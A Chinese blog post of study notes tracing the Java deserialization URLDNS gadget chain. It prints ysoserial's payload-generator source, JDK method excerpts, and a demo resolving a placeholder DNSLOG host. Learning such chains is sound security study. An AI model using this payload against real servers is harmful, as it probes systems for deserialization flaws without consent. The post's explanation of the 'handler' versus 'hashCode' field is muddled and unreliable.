Java反序列化学习之URLDNS

Java反序列化学习之URLDNS

前言

最近几次比赛都遇见了Java反序列化,并且听学长说Java安全是面试必不可少的部分,所以这两天跟着P🐂的文章Java安全漫谈系列学习了一下,在博客上记录一下自己的学习经历

为什么学习URLDNS

提到Java反序列化,脑海里想到的第一个字就是难,而urldns是Java反序列化中最简单的gadget之一,对于我这样的新手而言,无疑是入门的最佳选择

URLDNS

URLDNS这条gadget并不能用来执行命令,他只能用来判断是否有反序列化漏洞,并且他调用的函数比较少,所以相较而言他比较好跟踪一点,并且它不需要其他的依赖库,Java的原生库就能够完成这条gadget

分析

正如上面所说,分析URLDNS的gadget并不需要其他的依赖包,所以我们可以直接创建一个Java项目来进行分析,同时,为了方便我们分析,我们还可以从Github上下载ysoserial关于URLDNS的源码,里面的注释可以帮助我们更好的理解

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.vulhub.RMI;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

看着URLDNS类的getobject方法,ysoserial会调⽤这个⽅法获得Payload。这个方法返回的是一个对象,这个对象就是最后被序列化的对象,也就是这里的HashMap。

我们都知道,反序列化是通过readobject方法来实现的,那么我们这里就可以直接去看HashMap类的readobject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

最关键的是最下面的那个循环语句,对key和value都进行了反序列化,让后调用putval函数,其中key值传入了hash这个函数,为什么我们要关注hash函数呢,这里引用p🐂的话

我们跟进hash函数再来看看

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

因为key是URL类的对象

1
2
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

从这里就可以看出来

然后我们再跟进URL类的hashcode方法

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

这里会执行handler对象的hashCode方法,此时的handler是URLStreamHandler对象,跟进其hashCode方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();

// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();

// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();

return h;
}

这里用到了getHostAddress方法,跟进看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
synchronized InetAddress getHostAddress() {
if (hostAddress != null) {
return hostAddress;
}

if (host == null || host.isEmpty()) {
return null;
}
try {
hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException | SecurityException ex) {
return null;
}
return hostAddress;
}

这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次 DNS查询。到这⾥就不必要再跟了。

那么至此,整个URLDNS的gadget就很清晰了

1.HashMap->readobject()

2.HashMap->hash()

3.URL->hashCode()

4.URLStreamHandler->hashcode()

5.URLStreamHandler->getHostAddress()

6.URLStreamHandler->getByName()

那么这就是这条gadget所调用的函数了,其实这条链子还有一些细节之处

细节一

我们看一下这条gadget生成URL对象的地方

1
2
3
4
5
6
7
8
9
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.


我们看注释这里就说了目的,避免在创造payload的时候就进行DNS解析,为什么在创造payload的时候会进行DNS解析呢?

1
2
3
4
5
6
7
8
9
10
public class Demo1 {
public static void main(String[] args){
try {
URL url = new URL("http://xxxx.xxx"); //Ur DNSLOG paltform
url.hashCode();//debug here
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}

我们平常就直接new了一个URL对象,那么这样handler就会直接被赋值为-1,那么就会发出DNS请求,所以yso就自己定义了一个类,使得handler的值为空,这样就不会发出DNS请求了。

细节二

那么将handler的值设为null了后,那么我们后面不就也不能发出DNS请求了吗。那么我们这里就需要修改handler的值,因为这里handler的属性为private,我们需要将他改为public,那么这就需要用到反射所讲的getDeclareField方法**(这个方法可获取所有变量,即使是private)**获取到该变量,然后用setAccessible函数让开private变量访问权限,让其值可被修改,这里使用的是set反射修改。

1
Reflections.setFieldValue(u, "hashCode", -1);

跟进setFieldValue方法康康

1
2
3
4
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

我们再跟进一下getField方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static Field getField(Class<?> clazz, String fieldName) {
Field field = null;

try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
} catch (NoSuchFieldException var4) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}

return field;
}

可以看到这里调用了getDeclaredField方法,这样我们就可以修改handler的值了

##参考链接
大佬
p🐂的《Java安全漫谈》


Java反序列化学习之URLDNS
https://zoceanyq.github.io/2022/11/03/Java反序列化学习之URLDNS/
作者
ocean
发布于
2022年11月3日
许可协议